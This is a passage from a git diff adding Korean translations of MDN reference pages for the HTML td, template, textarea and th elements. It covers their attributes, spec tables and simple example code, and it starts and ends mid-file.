+ <dt>{{htmlattrdef("char")}} {{Deprecated_inline}} in {{HTMLVersionInline(4.01)}}, {{obsolete_inline}} in {{HTMLVersionInline(5)}}</dt>
+ <dd>This attribute is used to set the character to align the cells in a column. Typical values for this include a period (.) when attempting to align numbers or monetary values. If {{htmlattrxref("align", "td")}} is not set to <code>char</code>, this attribute is ignored.
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard. To achieve the same effect as the {{htmlattrxref("char", "thead")}}, in CSS3, you can use the character set using the {{htmlattrxref("char", "th")}} attribute as the value of the {{cssxref("text-align")}} property {{unimplemented_inline}}.</div>
+ </dd>
+ <dt>{{htmlattrdef("charoff")}} {{Deprecated_inline}} in {{HTMLVersionInline(4.01)}}, {{obsolete_inline}} in {{HTMLVersionInline(5)}}</dt>
+ <dd>This attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the <strong>char</strong> attribute.
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard.</div>
+ </dd>
+ <dt>{{htmlattrdef("colspan")}}</dt>
+ <dd>This attribute contains a non-negative integer value that indicates for how many columns the cell extends. Its default value is <code>1</code>; if its value is set to <code>0</code>, it extends until the end of the {{HTMLElement("colgroup")}}, even if implicitly defined, that the cell belongs to. Values higher than 1000 will be considered as incorrect and will be set to the default value (1).
+ <div class="note"><strong>Note: </strong>In {{HTMLVersionInline(5)}} this attribute only accepts values greater than zero since it <a href="http://dev.w3.org/html5/spec/single-page.html#attr-tdth-colspan">must not be used to overlap cells</a>. Besides, Firefox is the only browser to support the 0 value as defined in the {{HTMLVersionInline(4.01)}} specification.</div>
+ </dd>
+ <dt>{{htmlattrdef("headers")}}</dt>
+ <dd>This attribute contains a list of space-separated strings, each corresponding to the <strong>id</strong> attribute of the {{HTMLElement("th")}} elements that apply to this element.</dd>
+ <dt>{{htmlattrdef("rowspan")}}</dt>
+ <dd>This attribute contains a non-negative integer value that indicates for how many rows the cell extends. Its default value is <code>1</code>; if its value is set to <code>0</code>, it extends until the end of the table section ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, even if implicitly defined, that the cell belongs to. Values higher than 65534 are clipped down to 65534.</dd>
+ <dt>{{htmlattrdef("scope")}} {{obsolete_inline}} in {{HTMLVersionInline(5)}}</dt>
+ <dd> </dd>
+ <dt>{{htmlattrdef("valign")}} {{Deprecated_inline}} in {{HTMLVersionInline(4.01)}}, {{obsolete_inline}} in {{HTMLVersionInline(5)}}</dt>
+ <dd>This attribute specifies the vertical alignment of the text within each row of cells of the table header. Possible values for this attribute are:
+ <ul>
+  <li><code>baseline</code>, which will put the text as close to the bottom of the cell as it is possible, but align it on the <a href="http://en.wikipedia.org/wiki/Baseline_%28typography%29">baseline</a> of the characters instead of the bottom of them. If characters are all of the same size, this has the same effect as <code>bottom</code>.</li>
+  <li><code>bottom</code>, which will put the text as close to the bottom of the cell as it is possible</li>
+  <li><code>middle</code>, which will center the text in the cell</li>
+  <li>and <code>top</code>, which will put the text as close to the top of the cell as it is possible.</li>
+ </ul>
+
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard: instead set the CSS {{cssxref("vertical-align")}} property on it.</div>
+ </dd>
+</dl>
+
+<h2 id="DOM_인터페이스">DOM 인터페이스</h2>
+
+<p>이 요소는 {{domxref("HTMLTableDataCellElement")}} 인터페이스를 구현합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>Please see the {{HTMLElement("table")}} page for examples on <code>&lt;td&gt;</code>.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','tables.html#the-td-element','td element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','tabular-data.html#the-td-element','td element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("html.elements.td")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>다른 표 관련 요소들: {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}}.</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ko/web/html/element/template/index.html b/files/ko/web/html/element/template/index.html
new file mode 100644
index 0000000000..d1a7e32486
--- /dev/null
+++ b/files/ko/web/html/element/template/index.html
@@ -0,0 +1,165 @@
+---
+title: '<template>: 콘텐츠 템플릿 요소'
+slug: Web/HTML/Element/template
+tags:
+  - Element
+  - HTML
+  - HTML Web Components
+  - 'HTML:Flow content'
+  - 'HTML:Metadata content'
+  - 'HTML:Phrasing content'
+  - 'HTML:Script-supporting element'
+  - Reference
+  - Web
+  - Web Components
+  - 웹 컴포넌트
+translation_of: Web/HTML/Element/template
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;template&gt;</code> 요소</strong>는 페이지를 불러온 순간 즉시 그려지지는 않지만, 이후 JavaScript를 사용해 인스턴스를 생성할 수 있는 {{glossary("HTML")}} 코드를 담을 방법을 제공합니다.</p>
+
+<p>템플릿은 콘텐츠 조각을 나중에 사용하기 위해 담아놓는 컨테이너로 생각하세요. 페이지를 불러오는 동안 구문 분석기가 <code>&lt;template&gt;</code> 요소의 콘텐츠도 읽기는 하지만, 이는 유효성을 검증하기 위함이며 렌더링 하기 위함은 아닙니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#메타데이터_콘텐츠">메타데이터 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#스크립트_지원_요소">스크립트 지원 요소</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>제한 없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>메타데이터 콘텐츠, 구문 콘텐츠, 또는 스크립트 지원 요소를 허용하는 모든 요소. 또한, {{htmlattrxref("span", "colgroup")}} 특성이 없는 {{htmlelement("colgroup")}} 요소도 가능.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLTemplateElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<p>다만, {{domxref("HTMLTemplateElement")}}는 읽기 전용 {{domxref("HTMLTemplateElement.content", "content")}} 속성을 가집니다. <code>content</code>는 템플릿이 담고 있는 DOM 하위 트리를 나타내는 {{domxref("DocumentFragment")}}입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>우선 예제의 HTML부터 보겠습니다.</p>
+
+<pre class="brush: html">&lt;table id="producttable"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;td&gt;UPC_Code&lt;/td&gt;
+      &lt;td&gt;Product_Name&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;!-- 존재하는 데이터는 선택적으로 여기에 포함됩니다 --&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+
+&lt;template id="productrow"&gt;
+  &lt;tr&gt;
+    &lt;td class="record"&gt;&lt;/td&gt;
+    &lt;td&gt;&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/template&gt;
+</pre>
+
+<p>먼저, 나중에 JavaScript 코드를 사용해 컨텐츠를 삽입할 테이블이 있습니다. 그 다음 테이블의 열을 표현하는 HTML 조각의 구조를 설명하는 템플릿이 옵니다.</p>
+
+<p>이제 테이블이 생성되었고 템플릿이 정의되었으므로, JavaScript 를 사용해 템플릿을 사용해 구성된 열을 기반으로 각 열을 테이블로 삽입합니다.</p>
+
+<pre class="brush: js">// 템플릿 엘리먼트의 컨텐츠 존재 유무를 통해
+// 브라우저가 HTML 템플릿 엘리먼트를 지원하는지 확인합니다
+if ('content' in document.createElement('template')) {
+
+    // 기존 HTML tbody 와 템플릿 열로 테이블을 인스턴스화합니다
+    var t = document.querySelector('#productrow');
+
+    // 새로운 열을 복제하고 테이블에 삽입합니다
+    var tb = document.querySelector("tbody");
+    var clone = document.importNode(t.content, true);
+    td = clone.querySelectorAll("td");
+    td[0].textContent = "1235646565";
+    td[1].textContent = "Stuff";
+
+    tb.appendChild(clone);
+
+    // 새로운 열을 복제하고 테이블에 삽입합니다
+    var clone2 = document.importNode(t.content, true);
+    td = clone2.querySelectorAll("td");
+    td[0].textContent = "0384928528";
+    td[1].textContent = "Acme Kidney Beans 2";
+
+    tb.appendChild(clone2);
+
+} else {
+  // HTML 템플릿 엘리먼트를 지원하지 않으므로
+  // 테이블에 열을 추가하는 다른 방법을 찾습니다.
+}</pre>
+
+<p>결과는 JavaScript 를 통해 추가된 두 개의 새로운 열을 포함하는 기존 HTML 테이블입니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">table {
+  background: #000;
+}
+table td {
+  background: #fff;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("예제", 500, 120)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','scripting.html#the-template-element','template element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','semantics-scripting.html#the-template-element','template element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.elements.template")}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/Web_Components/Using_templates_and_slots">템플릿과 슬롯 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/html/element/textarea/index.html b/files/ko/web/html/element/textarea/index.html
new file mode 100644
index 0000000000..a59be6f9dc
--- /dev/null
+++ b/files/ko/web/html/element/textarea/index.html
@@ -0,0 +1,158 @@
+---
+title: <textarea>
+slug: Web/HTML/Element/textarea
+tags:
+  - Element
+  - Forms
+  - HTML
+  - HTML forms
+  - Web
+translation_of: Web/HTML/Element/textarea
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;textarea&gt;</code> 요소</strong>는 멀티라인 일반 텍스트 편집 컨트롤을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/textarea.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<h2 id="사용_문맥">사용 문맥</h2>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">컨텐츠 범주</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">플로우 컨텐츠</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">구문 컨텐츠</a>, <a href="/en-US/docs/HTML/Content_categories#Interactive_content" title="HTML/Content categories#Interactive content">대화형 컨텐츠</a>, <a href="/en-US/docs/HTML/Content_categories#Form_listed" title="HTML/Content categories#Form listed">listed</a>, <a href="/en-US/docs/HTML/Content_categories#Form_labelable" title="HTML/Content categories#Form labelable">labelable</a>, <a href="/en/HTML/Content_categories#form_resettable" title="en/HTML/Content categories#form resettable">resettable</a>, and <a href="/en-US/docs/HTML/Content_categories#Form_submittable" title="HTML/Content categories#Form submittable">submittable</a> <a href="/en-US/docs/HTML/Content_categories#Form-associated_" title="HTML/Content categories#Form-associated ">form-associated</a> element.</li>
+ <li><dfn>허용되는 컨텐츠</dfn> 문자 데이터</li>
+ <li><dfn>태그 생략</dfn> {{no_tag_omission}}</li>
+ <li><dfn>허용되는 부모 요소</dfn> <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">구문 컨텐츠</a>를 허용하는 모든 요소</li>
+ <li><dfn>DOM 인터페이스</dfn> {{domxref("HTMLTextAreaElement")}}</li>
+</ul>
+
+<h2 id="속성">속성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 속성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autocapitalize")}} {{non-standard_inline}}</dt>
+ <dd>This is a nonstandard attribute used by iOS Safari Mobile which controls whether and how the text value should be automatically capitalized as it is entered/edited by the user. The non-deprecated values are available in iOS 5 and later. Possible values are:
+ <ul>
+  <li><code>none</code>: Completely disables automatic capitalization</li>
+  <li><code>sentences</code>: Automatically capitalize the first letter of sentences.</li>
+  <li><code>words</code>: Automatically capitalize the first letter of words.</li>
+  <li><code>characters</code>: Automatically capitalize all characters.</li>
+  <li><code>on</code>: {{deprecated_inline()}} Deprecated since iOS 5.</li>
+  <li><code>off</code>: {{deprecated_inline()}} Deprecated since iOS 5.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("autocomplete")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This attribute indicates whether the value of the control can be automatically completed by the browser. Possible values are:
+ <ul>
+  <li><code>off</code>: The user must explicitly enter a value into this field for every use, or the document provides its own auto-completion method; the browser does not automatically complete the entry.</li>
+  <li><code>on</code>: The browser can automatically complete the value based on values that the user has entered during previous uses.</li>
+ </ul>
+
+ <p>If the <strong>autocomplete</strong> attribute is not specified on an textarea element, then the browser uses the <strong>autocomplete</strong> attribute value of the <code>&lt;textarea&gt;</code> element's form owner. The form owner is either the <code>form</code> element that this <code>&lt;textarea&gt;</code> element is a descendant of or the form element whose <strong>id</strong> is specified by the <strong>form</strong> attribute of the input element. For more information, see the {{htmlattrxref("autocomplete", "form")}} attribute in {{HTMLElement("form")}}.</p>
+ </dd>
+ <dt>{{ htmlattrdef("autofocus") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>이 불리언 속성은 페이지가 로드 됬을때, 포커스를 오버라이드(예:사용자가 다른 컨트롤에 타이핑) 하지 않는다면, 폼 컨트롤이 입력 포커스를 받을지를 지정합니다.문서에서 오직 하나의 폼 관련 요소만이 이 속성이 지정될수 있습니다.</dd>
+ <dt>{{ htmlattrdef("cols") }}</dt>
+ <dd>The visible width of the text control, in average character widths. If it is specified, it must be a positive integer. If it is not specified, the default value is <span style="font-family: courier new;">20</span> (HTML5).</dd>
+ <dt>{{ htmlattrdef("disabled") }}</dt>
+ <dd>사용자가 컨트롤과 상호작용할수 없다는것을 가리키는 불리언 속성 (만약 속성이 지정되지 않았다면, 이 요소를 포함하는 컨테이닝 요소(예: {{ HTMLElement("fieldset") }})에게서 값을 상속받습니다. 예를 들면, disabled 속성을 가진 컨테이닝 요소가 없다면, 컨트롤은 사용 가능합니다)</dd>
+ <dt>{{ htmlattrdef("form") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>The form element that the textarea element is associated with (its "form owner"). The value of the attribute must be an ID of a form element in the same document. If this attribute is not specified, the textarea element must be a descendant of a form element. This attribute enables you to place textarea elements anywhere within a document, not just as descendants of their form elements.</dd>
+ <dt>{{ htmlattrdef("maxlength") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>사용자가 입력할 수 있는 문자(Unicode code points)의 최대 개수. 만약 명시하지 않을 경우 사용자는 무한으로 입력 가능.</dd>
+ <dt>{{ htmlattrdef("minlength") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>사용자가 입력해야 할 문자(Unicode code points)의 최소 개수</dd>
+ <dt>{{ htmlattrdef("name") }}</dt>
+ <dd>컨트롤의 이름</dd>
+ <dt>{{ htmlattrdef("placeholder") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>A hint to the user of what can be entered in the control. The placeholder text must not contain carriage returns or line-feeds.</dd>
+ <dt>{{ htmlattrdef("readonly") }}</dt>
+ <dd>이 불리언 속성은 사용자가 컨트롤의 값을 수정할수 없다는것을 가리킵니다. <code>disabled</code> 속성과는 다르게, <code>readonly</code> 속성은 사용자가 컨트롤을 클릭하거나 선택하는것을 막지 않습니다.<code> readonly</code> 컨트롤의 값은 여전히 폼과 함께 제출 됩니다..</dd>
+ <dt>{{ htmlattrdef("required") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>이 속성은 사용자가 폼을 제출하기 전에 반드시 채워야 한다는 것을 가리킵니다.</dd>
+ <dt>{{ htmlattrdef("rows") }}</dt>
+ <dd>The number of visible text lines for the control.</dd>
+ <dt>{{ htmlattrdef("selectionDirection") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>The direction in which selection occurred. This is "forward" if the selection was made from left-to-right in an LTR locale or right-to-left in an RTL locale, or "backward" if the selection was made in the opposite direction. This can be "none" if the selection direction is unknown.</dd>
+ <dt>{{ htmlattrdef("selectionEnd") }}</dt>
+ <dd>The index to the last character in the current selection.</dd>
+ <dt>{{ htmlattrdef("selectionStart") }}</dt>
+ <dd>The index to the first character in the current selection.</dd>
+ <dt>{{ htmlattrdef("spellcheck") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Setting the value of this attribute to <code>true</code> indicates that the element needs to have its spelling and grammar checked. The value <code>default</code> indicates that the element is to act according to a default behavior, possibly based on the parent element's own <code>spellcheck</code> value. The value <code>false</code> indicates that the element should not be checked.</dd>
+ <dt>{{ htmlattrdef("wrap") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>Indicates how the control wraps text. Possible values are:
+ <ul>
+  <li><span style="font-family: courier new;">hard</span>: The browser automatically inserts line breaks (CR+LF) so that each line has no more than the width of the control; the <code>cols</code> attribute must be specified.</li>
+  <li><span style="font-family: courier new;">soft</span>: The browser ensures that all line breaks in the value consist of a CR+LF pair, but does not insert any additional line breaks.</li>
+ </ul>
+
+ <p>If this attribute is not specified, <span style="font-family: courier new;">soft</span> is its default value.</p>
+ </dd>
+</dl>
+
+<h2 id="DOM_인터페이스">DOM 인터페이스</h2>
+
+<p>이 요소는 <code><a href="/en/DOM/HTMLTextAreaElement" title="en/DOM/textarea">HTMLTextAreaElement</a></code> 인터페이스를 구현합니다.</p>
+
+<p>{{ h1_gecko_minversion("Resizable textareas", "2.0") }}</p>
+
+<p>{{ gecko("2.0") }} introduced support for resizable textareas. This is controlled by the {{ cssxref("resize") }} CSS property. Resizing of textareas is enabled by default, but you can explicitly disable it by including the following CSS:</p>
+
+<pre>textarea {
+  resize: none;
+}
+</pre>
+
+<h2 id="CSS와_상호작용_하기">CSS와 상호작용 하기</h2>
+
+<p>In regards to CSS, an <code>&lt;textarea&gt;</code> is a <a href="https://developer.mozilla.org/en-US/docs/CSS/Replaced_element" title="/en-US/docs/CSS/Replaced_element">replaced element</a>. The HTML specification doesn't define where the baseline of a <code>&lt;textarea&gt;</code> is. So different browsers set it to different positions. For Gecko, the <code>&lt;textarea&gt;</code> baseline is set on the baseline of the first line of the textarea's first line, on another browser it may be set on the bottom of the <code>&lt;textarea&gt;</code> box. Don't use {{cssxref("vertical-align")}}<code>: baseline</code> on it, as the behavior will be unpredictable.</p>
+
+<p><em>Textarea</em> 는 래스터 이미지 처럼 고유한 넓이를 가지고 있습니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;textarea name="textarea" rows="10" cols="50"&gt;Write something here&lt;/textarea&gt;</pre>
+
+<p>{{ EmbedLiveSample('Example','600','200') }}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-button-element.html#the-textarea-element', '&lt;textarea&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-textarea-element', '&lt;textarea&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.7', '&lt;textarea&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.textarea")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<p>다른 폼 관련 요소들: {{ HTMLElement("form") }}, {{ HTMLElement("button") }}, {{ HTMLElement("datalist") }}, {{ HTMLElement("legend") }}, {{ HTMLElement("label") }}, {{ HTMLElement("select") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }} and {{ HTMLElement("meter") }}.</p>
diff --git a/files/ko/web/html/element/th/index.html b/files/ko/web/html/element/th/index.html
new file mode 100644
index 0000000000..f2bafce38e
--- /dev/null
+++ b/files/ko/web/html/element/th/index.html
@@ -0,0 +1,226 @@
+---
+title: <th>
+slug: Web/HTML/Element/th
+tags:
+  - HTML
+  - 레퍼런스
+  - 요소
+  - 웹
+  - 표
+translation_of: Web/HTML/Element/th
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">The <strong>HTML <code>&lt;th&gt;</code> element</strong> defines a cell as header of a group of table cells. The exact nature of this group is defined by the {{htmlattrxref("scope", "th")}} and {{htmlattrxref("headers", "th")}} attributes.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/th.html","tabbed-taller")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/Guide/HTML/Content_categories">Content categories</a></th>
+   <td>None.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td><a href="/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content">Flow content</a>, but with no header, footer, sectioning content, or heading content descendants.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>The start tag is mandatory.<br>
+    The end tag may be omitted, if it is immediately followed by a {{HTMLElement("th")}} or {{HTMLElement("td")}} element or if there are no more data in its parent element.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>A {{HTMLElement("tr")}} element.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>Any</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLTableHeaderCellElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>This element includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("abbr")}}</dt>
+ <dd>This attribute contains a short abbreviated description of the cell's content. Some user-agents, such as speech readers, may present this description before the content itself.</dd>
+ <dt>{{htmlattrdef("align")}} {{obsolete_inline("html5")}}</dt>
+ <dd>This enumerated attribute specifies how the cell content's horizontal alignment will be handled. Possible values are:
+ <ul>
+  <li><code>left</code>: The content is aligned to the left of the cell.</li>
+  <li><code>center</code>: The content is centered in the cell.</li>
+  <li><code>right</code>: The content is aligned to the right of the cell.</li>
+  <li><code>justify</code> (with text only): The content is stretched out inside the cell so that it covers its entire width.</li>
+  <li><code>char</code> (with text only): The content is aligned to a character inside the <code>&lt;th&gt;</code> element with minimal offset. This character is defined by the {{htmlattrxref("char", "th")}} and {{htmlattrxref("charoff", "th")}} attributes.</li>
+ </ul>
+
+ <p>The default value when this attribute is not specified is <code>left</code>.</p>
+
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete in the latest standard.
+
+ <ul>
+  <li>To achieve the same effect as the <code>left</code>, <code>center</code>, <code>right</code> or <code>justify</code> values, apply the CSS {{cssxref("text-align")}} property to the element.</li>
+  <li>To achieve the same effect as the <code>char</code> value, give the {{cssxref("text-align")}} property the same value you would use for the {{htmlattrxref("char", "th")}}. {{unimplemented_inline}} in CSS3.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("axis")}} {{obsolete_inline("html5")}}</dt>
+ <dd>This attribute contains a list of space-separated strings. Each string is the <code>id</code> of a group of cells that this header applies to.
+ <div class="note"><strong>Note:</strong> Do not use this attribute as it is obsolete in the latest standard: use the {{htmlattrxref("scope", "th")}} attribute instead.</div>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
+ <dd>This attribute defines the background color of each cell in a column. It consists of a 6-digit hexadecimal code as defined in <a href="https://www.w3.org/Graphics/Color/sRGB">sRGB</a> and is prefixed by '#'. This attribute may be used with one of sixteen predefined color strings:
+ <table>
+  <tbody>
+   <tr>
+    <td style="background-color: black; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>black</code> = "#000000"</td>
+    <td style="background-color: green; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>green</code> = "#008000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: silver; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>silver</code> = "#C0C0C0"</td>
+    <td style="background-color: lime; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>lime</code> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: gray; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>gray</code> = "#808080"</td>
+    <td style="background-color: olive; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>olive</code> = "#808000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: white; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>white</code> = "#FFFFFF"</td>
+    <td style="background-color: yellow; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>yellow</code> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: maroon; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>maroon</code> = "#800000"</td>
+    <td style="background-color: navy; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>navy</code> = "#000080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: red; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>red</code> = "#FF0000"</td>
+    <td style="background-color: blue; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>blue</code> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td style="background-color: purple; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>purple</code> = "#800080"</td>
+    <td style="background-color: teal; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>teal</code> = "#008080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: fuchsia; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>fuchsia</code> = "#FF00FF"</td>
+    <td style="background-color: aqua; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>aqua</code> = "#00FFFF"</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Note:</strong> Do not use this attribute, as it is non-standard and only implemented in some versions of Microsoft Internet Explorer: The {{HTMLElement("th")}} element should be styled using <a href="/en-US/docs/Web/CSS">CSS</a>. To create a similar effect use the {{cssxref("background-color")}} property in <a href="/en-US/docs/Web/CSS">CSS</a> instead.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("char")}} {{obsolete_inline("html5")}}</dt>
